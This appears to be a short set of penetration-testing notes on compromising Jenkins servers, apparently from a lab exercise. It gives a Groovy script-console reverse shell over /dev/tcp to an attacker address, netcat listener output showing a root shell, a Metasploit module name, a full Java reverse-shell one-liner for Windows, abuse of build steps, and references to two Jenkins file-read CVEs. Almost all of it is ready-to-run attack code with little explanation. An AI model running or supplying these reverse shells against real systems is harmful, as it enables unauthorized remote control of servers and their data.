Default credentials such as admin:admin or does not have any type of authentication enabled. It is not uncommon to find Jenkins instances that do not require any authentication during an internal penetration test
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
$ nc -lvnp 8443
listening on [any] 8443 ...
connect to [10.10.14.15] from (UNKNOWN) [10.129.201.58] 57844
id
uid=0(root) gid=0(root) groups=0(root)
/bin/bash -i
root@app02:/var/lib/jenkins3#
Metasploit
msf > use exploit/multi/http/jenkins_script_console
Windows
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
No admin access but could add or edit build steps
Add a build step, add "Execute Windows Batch Command" and enter:
powershell -c command
CVE-2024-23897 - Arbitrary File Read Vulnerability Leading to RCE
CVE-2024-43044 - Arbitrary file read that allows an agent to fetch files from the controller
